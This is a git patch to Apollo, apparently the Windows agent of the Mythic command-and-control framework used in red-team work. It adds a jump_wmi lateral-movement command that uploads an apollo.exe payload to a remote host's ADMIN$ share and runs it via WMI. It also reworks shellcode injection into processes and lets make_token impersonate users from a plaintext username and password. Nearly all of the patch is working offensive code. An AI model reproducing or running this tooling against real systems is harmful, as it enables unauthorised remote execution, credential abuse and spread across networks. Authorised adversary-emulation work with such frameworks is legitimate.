From 6782a8cc7e099e0bfe8b948ce6b69c9b8019081e Mon Sep 17 00:00:00 2001 From: its-a-feature Date: Fri, 27 Sep 2024 18:30:25 -0500 Subject: [PATCH] adding jump_wmi, updating make_token, and browserscript updates --- Payload_Type/apollo/CHANGELOG.MD | 8 + .../apollo/mythic/agent_functions/builder.py | 2 +- .../apollo/mythic/agent_functions/inject.py | 141 +++++---- .../apollo/mythic/agent_functions/jump_wmi.py | 277 ++++++++++++++++++ .../mythic/agent_functions/make_token.py | 52 +++- .../apollo/mythic/browser_scripts/ls_new.js | 5 +- .../apollo/mythic/browser_scripts/ps_new.js | 1 - agent_capabilities.json | 2 +- 8 files changed, 422 insertions(+), 66 deletions(-) create mode 100644 Payload_Type/apollo/apollo/mythic/agent_functions/jump_wmi.py diff --git a/Payload_Type/apollo/CHANGELOG.MD b/Payload_Type/apollo/CHANGELOG.MD index 0d2db724..1f67252d 100644 --- a/Payload_Type/apollo/CHANGELOG.MD +++ b/Payload_Type/apollo/CHANGELOG.MD @@ -4,6 +4,14 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [v2.2.15] - 2024-09-27 + +### Changed + +- Added in new `jump_wmi` command +- Updated `make_token` to allow cli args instead of just modal without registering new creds +- Updated sizes in ls browser script + ## [v2.2.14] - 2024-09-24 ### Changed diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py index 70c0eaee..6c1441cb 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py @@ -21,7 +21,7 @@ class Apollo(PayloadType): supported_os = [ SupportedOS.Windows ] - version = "2.2.14" + version = "2.2.15" wrapper = False wrapped_payloads = ["scarecrow_wrapper", "service_wrapper"] note = """ diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/inject.py b/Payload_Type/apollo/apollo/mythic/agent_functions/inject.py index 2abc0a14..b4ed774c 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/inject.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/inject.py @@ -15,12 +15,26 @@ def __init__(self, command_line, **kwargs): cli_name="Payload", display_name="Payload", type=ParameterType.ChooseOne, - dynamic_query_function=self.get_payloads), + dynamic_query_function=self.get_payloads, + parameter_group_info=[ParameterGroupInfo( + required=False + )] + ), CommandParameter( name="pid", cli_name="PID", display_name="PID", type=ParameterType.Number), + CommandParameter( + name="regenerate", + cli_name="regenerate", + display_name="Generate New Payload", + type=ParameterType.Boolean, + default_value=False, + parameter_group_info=[ParameterGroupInfo( + required=False + )] + ) ] errorMsg = "Missing required parameter: {}" @@ -47,7 +61,7 @@ async def get_payloads(self, inputMsg: PTRPCDynamicQueryFunctionMessage) -> PTRP async def parse_arguments(self): - if (self.command_line[0] != "{"): + if self.command_line[0] != "{": raise Exception("Inject requires JSON parameters and not raw command line.") self.load_args_from_json_string(self.command_line) if self.get_arg("pid") == 0: @@ -98,62 +112,77 @@ async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreat if len(payload_search.Payloads) == 0: raise Exception("No payloads found matching {}".format(taskData.args.get_arg("template"))) str_uuid = payload_search.Payloads[0].UUID - newPayloadResp = await SendMythicRPCPayloadCreateFromUUID(MythicRPCPayloadCreateFromUUIDMessage( - TaskID=taskData.Task.ID, PayloadUUID=str_uuid, NewDescription="{}'s injection into PID {}".format(taskData.Task.OperatorUsername, str(taskData.args.get_arg("pid"))) - )) - if newPayloadResp.Success: - # we know a payload is building, now we want it - while True: - resp = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage( - PayloadUUID=newPayloadResp.NewPayloadUUID - )) - if resp.Success: - if resp.Payloads[0].BuildPhase == 'success': - # it's done, so we can register a file for it - response.DisplayParams = "payload '{}' into PID {}".format(payload_search.Payloads[0].Description, taskData.args.get_arg("pid")) - response.TaskStatus = MythicStatus.Processed - c2_info = resp.Payloads[0].C2Profiles[0] - is_p2p = c2_info.Name == "smb" or c2_info.Name == "tcp" - if not is_p2p: - subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage( - TaskID=taskData.Task.ID, - SubtaskCallbackFunction="inject_callback", - CommandName="shinject", - Params=json.dumps({"pid": taskData.args.get_arg("pid"), "shellcode-file-id": resp.Payloads[0].AgentFileId}) - )) + payload = None + if taskData.args.get_arg("regenerate"): + newPayloadResp = await SendMythicRPCPayloadCreateFromUUID(MythicRPCPayloadCreateFromUUIDMessage( + TaskID=taskData.Task.ID, PayloadUUID=str_uuid, NewDescription="{}'s injection into PID {}".format(taskData.Task.OperatorUsername, str(taskData.args.get_arg("pid"))) + )) + if newPayloadResp.Success: + # we know a payload is building, now we want it + str_uuid = newPayloadResp.NewPayloadUUID + while True: + resp = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage( + PayloadUUID=newPayloadResp.NewPayloadUUID + )) + if resp.Success: + if resp.Payloads[0].BuildPhase == 'success': + # it's done, so we can register a file for it + payload = resp.Payloads[0] + break + elif resp.Payloads[0].BuildPhase == 'error': + raise Exception("Failed to build new payload ") else: - subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage( - TaskID=taskData.Task.ID, - CommandName="shinject", - Params=json.dumps({"pid": taskData.args.get_arg("pid"), "shellcode-file-id": resp.Payloads[0].AgentFileId}) - )) - if subtask.Success: - connection_info = { - "host": "127.0.0.1", - "agent_uuid": newPayloadResp.NewPayloadUUID, - "c2_profile": c2_info - } - subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage( - TaskID=taskData.Task.ID, - CommandName="link", - SubtaskCallbackFunction="inject_callback", - Params=json.dumps({ - "connection_info": connection_info - }) - )) - else: - response.Success = False - response.Error = subtask.Error - - break - elif resp.Payloads[0].BuildPhase == 'error': - - raise Exception("Failed to build new payload ") - else: - await asyncio.sleep(1) + await asyncio.sleep(1) + else: + logger.exception("Failed to build new payload") + raise Exception("Failed to build payload from template {}".format(taskData.args.get_arg("template"))) else: - logger.exception("Failed to build new payload") - raise Exception("Failed to build payload from template {}".format(taskData.args.get_arg("template"))) + # fetch data about the payload + resp = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage( + PayloadUUID=str_uuid + )) + if resp.Success: + if resp.Payloads[0].BuildPhase == 'success': + # it's done, so we can register a file for it + payload = resp.Payloads[0] + elif resp.Payloads[0].BuildPhase == 'error': + raise Exception("Selected Payload Failed to Build ") + else: + raise Exception("Payload isn't done building") + response.DisplayParams = "payload '{}' into PID {}".format(payload.Filename, taskData.args.get_arg("pid")) + response.TaskStatus = MythicStatus.Processed + c2_info = payload.C2Profiles[0] + is_p2p = c2_info.Name == "smb" or c2_info.Name == "tcp" + if not is_p2p: + subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage( + TaskID=taskData.Task.ID, + SubtaskCallbackFunction="inject_callback", + CommandName="shinject", + Params=json.dumps({"pid": taskData.args.get_arg("pid"), "shellcode-file-id": payload.AgentFileId}) + )) + else: + subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage( + TaskID=taskData.Task.ID, + CommandName="shinject", + Params=json.dumps({"pid": taskData.args.get_arg("pid"), "shellcode-file-id": payload.AgentFileId}) + )) + if subtask.Success: + connection_info = { + "host": "127.0.0.1", + "agent_uuid": str_uuid, + "c2_profile": c2_info + } + subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage( + TaskID=taskData.Task.ID, + CommandName="link", + SubtaskCallbackFunction="inject_callback", + Params=json.dumps({ + "connection_info": connection_info + }) + )) + else: + response.Success = False + response.Error = subtask.Error return response async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/jump_wmi.py b/Payload_Type/apollo/apollo/mythic/agent_functions/jump_wmi.py new file mode 100644 index 00000000..39f6956b --- /dev/null +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/jump_wmi.py @@ -0,0 +1,277 @@ +from mythic_container.MythicCommandBase import * +import json +from mythic_container.MythicRPC import * +import base64 +import sys +import asyncio + +class JumpWMIArguments(TaskArguments): + + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="Payload", + cli_name="Payload", + display_name="Payload", + type=ParameterType.ChooseOne, + dynamic_query_function=self.get_payloads, + parameter_group_info=[ + ParameterGroupInfo( + required=True, + group_name="specific_payload", + ui_position=4 + ), + ] + ), + CommandParameter( + name="host", + cli_name="host", + display_name="Host", + type=ParameterType.String, + parameter_group_info=[ + ParameterGroupInfo( + required=True, + group_name="Default", + ui_position=1 + ), + ParameterGroupInfo( + required=True, + group_name="specific_payload", + ui_position=1 + ) + ] + ), + CommandParameter( + name="command", + cli_name="command", + display_name="Command", + default_value="C:\\Windows\\apollo.exe", + type=ParameterType.String, + parameter_group_info=[ + ParameterGroupInfo( + required=False, + group_name="Default", + ui_position=3, + ), + ParameterGroupInfo( + required=False, + group_name="specific_payload", + ui_position=3 + ) + ] + ), + CommandParameter( + name="remote_path", + cli_name="remote_path", + display_name="Remote Upload Location", + type=ParameterType.String, + default_value="ADMIN$\\apollo.exe", + parameter_group_info=[ + ParameterGroupInfo( + required=False, + group_name="Default", + ui_position=2 + ), + ParameterGroupInfo( + required=False, + group_name="specific_payload", + ui_position=2 + ) + ] + ), + ] + + errorMsg = "Missing required parameter: {}" + + async def get_payloads(self, inputMsg: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse: + fileResponse = PTRPCDynamicQueryFunctionMessageResponse(Success=False) + payload_search = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage( + CallbackID=inputMsg.Callback, + PayloadTypes=["apollo"], + IncludeAutoGeneratedPayloads=False, + BuildParameters=[MythicRPCPayloadSearchBuildParameter(PayloadType="apollo", BuildParameterValues={"output_type": "WinExe"})] + )) + + if payload_search.Success: + file_names = [] + for f in payload_search.Payloads: + file_names.append(f"{f.Filename} - {f.Description}") + fileResponse.Success = True + fileResponse.Choices = file_names + return fileResponse + else: + fileResponse.Error = payload_search.Error + return fileResponse + + + async def parse_arguments(self): + if self.command_line[0] != "{": + raise Exception("Inject requires JSON parameters and not raw command line.") + self.load_args_from_json_string(self.command_line) + if self.get_arg("pid") == 0: + raise Exception("Required non-zero PID") + + +async def mirror_up_output(task: PTTaskCompletionFunctionMessage): + response_search = await SendMythicRPCResponseSearch(MythicRPCResponseSearchMessage( + TaskID=task.SubtaskData.Task.ID, + )) + if response_search.Success: + for r in response_search.Responses: + await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( + TaskID=task.TaskData.Task.ID, + Response=r.Response.encode() + )) + await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( + TaskID=task.TaskData.Task.ID, + Response="\n".encode() + )) + + +async def wmi_callback(task: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse: + response = PTTaskCompletionFunctionMessageResponse(Success=True, TaskStatus="success", Completed=True) + await mirror_up_output(task=task) + if "error" in task.SubtaskData.Task.Status.lower(): + response.TaskStatus = f"error: failed to copy over file" + return response + return response + + +async def upload_callback(task: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse: + response = PTTaskCompletionFunctionMessageResponse(Success=True) + await mirror_up_output(task=task) + if "error" in task.SubtaskData.Task.Status.lower(): + response.TaskStatus = f"error: failed to copy over file" + return response + await SendMythicRPCTaskUpdate(MythicRPCTaskUpdateMessage( + TaskID=task.TaskData.Task.ID, + UpdateStatus="executing wmi..." + )) + subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage( + TaskID=task.TaskData.Task.ID, + SubtaskCallbackFunction="wmi_callback", + CommandName="wmiexecute", + Params=json.dumps({ + "command": f"{task.TaskData.args.get_arg('command')}", + "host": task.TaskData.args.get_arg("host") + }) + )) + return response + + +class JumpWMICommand(CommandBase): + cmd = "jump_wmi" + attributes=CommandAttributes( + dependencies=["wmiexecute"] + ) + needs_admin = True + help_cmd = "jump_wmi hostname" + description = "Use wmiexecute to move laterally to a new host by first copying over apollo.exe." + version = 2 + script_only = True + author = "@its_a_feature_" + argument_class = JumpWMIArguments + attackmapping = ["T1055"] + completion_functions = { + "upload_callback": upload_callback, + "wmi_callback": wmi_callback + } + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + payload = None + if taskData.args.get_parameter_group_name() == "specific_payload": + string_payload = [x.strip() for x in taskData.args.get_arg("Payload").split(" - ")] + filename = string_payload[0] + desc = string_payload[1] + payload_search = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage( + CallbackID=taskData.Callback.ID, + PayloadTypes=["apollo"], + Filename=filename, + Description=desc, + IncludeAutoGeneratedPayloads=False, + BuildParameters=[MythicRPCPayloadSearchBuildParameter(PayloadType="apollo", BuildParameterValues={"output_type": "Shellcode"})] + )) + if not payload_search.Success: + raise Exception("Failed to find payload: {}".format(taskData.args.get_arg("Payload"))) + + if len(payload_search.Payloads) == 0: + raise Exception("No payloads found matching {}".format(taskData.args.get_arg("Payload"))) + payload = payload_search.Payloads[0] + else: + payload_search = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage( + IncludeAutoGeneratedPayloads=False, + PayloadUUID=taskData.Payload.UUID + )) + if not payload_search.Success: + raise Exception("Failed to find payload: {}".format(taskData.Payload.UUID)) + if len(payload_search.Payloads) == 0: + raise Exception("No payloads found matching {}".format(taskData.Payload.UUID)) + payload = payload_search.Payloads[0] + if payload_search.Payloads[0].BuildParameters[0].Value == "Shellcode": + # the current payload is shellcode and not an exe, so we need to generate an exe + await SendMythicRPCTaskUpdate(MythicRPCTaskUpdateMessage( + TaskID=taskData.Task.ID, + UpdateStatus="building WinExe Apollo..." + )) + newPayloadResp = await SendMythicRPCPayloadCreateFromScratch(MythicRPCPayloadCreateFromScratchMessage( + TaskID=taskData.Task.ID, + PayloadConfiguration=MythicRPCPayloadConfiguration( + payload_type="apollo", + description=f"WMI to host {taskData.args.get_arg('host')}", + build_parameters=[ + MythicRPCPayloadConfigurationBuildParameter( + name="output_type", + value="WinExe" + ) + ], + selected_os="Windows", + filename="apollo.exe", + commands=payload_search.Payloads[0].Commands, + c2_profiles=[x.to_json() for x in payload_search.Payloads[0].C2Profiles], + ), + RemoteHost=taskData.args.get_arg("host"), + )) + if newPayloadResp.Success: + # we know a payload is building, now we want it + str_uuid = newPayloadResp.NewPayloadUUID + while True: + resp = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage( + PayloadUUID=newPayloadResp.NewPayloadUUID + )) + if resp.Success: + if resp.Payloads[0].BuildPhase == 'success': + # it's done, so we can register a file for it + payload = payload_search.Payloads[0] + break + elif resp.Payloads[0].BuildPhase == 'error': + raise Exception("Failed to build new payload ") + else: + await asyncio.sleep(1) + else: + logger.exception("Failed to build new payload") + raise Exception("Failed to build payload from template {}".format(taskData.args.get_arg("template"))) + if payload is None: + raise Exception("Failed to find payload or generate payload for lateral movement") + # step 1 - upload payload to remote host at remote location + # step 2 - kick off wmiexecute for remote host to run remote_command + response.DisplayParams = f"{payload.Filename} onto \\\\{taskData.args.get_arg('host')}\\{taskData.args.get_arg('remote_path')}" + response.TaskStatus = "uploading file..." + subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage( + TaskID=taskData.Task.ID, + SubtaskCallbackFunction="upload_callback", + CommandName="upload", + Params=json.dumps({ + "remote_path": f"\\\\{taskData.args.get_arg('host')}\\{taskData.args.get_arg('remote_path')}", + "file": payload.AgentFileId + }) + )) + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/make_token.py b/Payload_Type/apollo/apollo/mythic/agent_functions/make_token.py index da0fe0c4..711e73f1 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/make_token.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/make_token.py @@ -12,7 +12,32 @@ def __init__(self, command_line, **kwargs): cli_name="Credential", display_name="Credential", type=ParameterType.Credential_JSON, - limit_credentials_by_type=["plaintext"] + limit_credentials_by_type=["plaintext"], + parameter_group_info=[ParameterGroupInfo( + group_name="credential_store", + required=True, + ui_position=1 + )] + ), + CommandParameter( + name="username", + cli_name="username", + display_name="Username", + type=ParameterType.String, + parameter_group_info=[ParameterGroupInfo( + required=True, + ui_position=1 + )] + ), + CommandParameter( + name="password", + cli_name="password", + display_name="Password", + type=ParameterType.String, + parameter_group_info=[ParameterGroupInfo( + required=True, + ui_position=2 + )] ) ] @@ -23,8 +48,8 @@ async def parse_arguments(self): class MakeTokenCommand(CommandBase): cmd = "make_token" needs_admin = False - help_cmd = "make_token (modal popup)" - description = "Creates a new logon session and applies it to the agent. Modal popup for options. Credentials must be populated in the credential store." + help_cmd = "make_token -username domain\\user -password abc123" + description = "Creates a new logon session and applies it to the agent. Modal popup for options and selecting an existing credential." version = 2 author = "@djhohnstein" argument_class = MakeTokenArguments @@ -35,8 +60,25 @@ async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreat TaskID=taskData.Task.ID, Success=True, ) - cred = taskData.args.get_arg("credential") - response.DisplayParams = "{}\\{} {}".format(cred.get("realm"), cred.get("account"), cred.get("credential")) + if taskData.args.get_parameter_group_name() == "credential_store": + cred = taskData.args.get_arg("credential") + response.DisplayParams = "{}\\{} {}".format(cred.get("realm"), cred.get("account"), cred.get("credential")) + else: + username = taskData.args.get_arg("username") + password = taskData.args.get_arg("password") + taskData.args.remove_arg("username") + taskData.args.remove_arg("password") + usernamePieces = username.split("\\") + if len(usernamePieces) != 2: + raise Exception("username not in domain\\user format") + cred = { + "type": "plaintext", + "realm": usernamePieces[0], + "credential": password, + "account": usernamePieces[1] + } + taskData.args.add_arg("credential", cred, type=ParameterType.Credential_JSON) + response.DisplayParams = "{}\\{} {}".format(cred.get("realm"), cred.get("account"), cred.get("credential")) return response async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/ls_new.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/ls_new.js index 41f3841d..7a633d0e 100644 --- a/Payload_Type/apollo/apollo/mythic/browser_scripts/ls_new.js +++ b/Payload_Type/apollo/apollo/mythic/browser_scripts/ls_new.js @@ -396,7 +396,7 @@ function(task, responses){ plaintext: "Task", type: "button", cellStyle: {}, - width: 100, + width: 70, disableSort: true, }, { @@ -408,6 +408,7 @@ function(task, responses){ { plaintext: "size", type: "size", + width: 100, cellStyle: {}, }, { @@ -588,7 +589,7 @@ function(task, responses){ ls_path = data["parent_path"] + "\\" + data["name"]; } - formattedResponse.title = "Contents of " + ls_path; + //formattedResponse.title = "Contents of " + ls_path; if (data["is_file"]) { data["full_name"] = ls_path; diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/ps_new.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/ps_new.js index 36223ddf..26065aa4 100644 --- a/Payload_Type/apollo/apollo/mythic/browser_scripts/ps_new.js +++ b/Payload_Type/apollo/apollo/mythic/browser_scripts/ps_new.js @@ -127,7 +127,6 @@ function(task, responses){ return {"table":[{ "headers": headers, "rows": rows, - "title": "Process List" }]}; }else{ // this means we shouldn't have any output diff --git a/agent_capabilities.json b/agent_capabilities.json index 7f2f8cd2..c3213919 100644 --- a/agent_capabilities.json +++ b/agent_capabilities.json @@ -11,6 +11,6 @@ "architectures": ["x86_64"], "c2": ["http", "smb", "tcp", "websocket"], "mythic_version": "3.3.0", - "agent_version": "2.2.13", + "agent_version": "2.2.15", "supported_wrappers": ["service_wrapper", "scarecrow_wrapper"] } \ No newline at end of file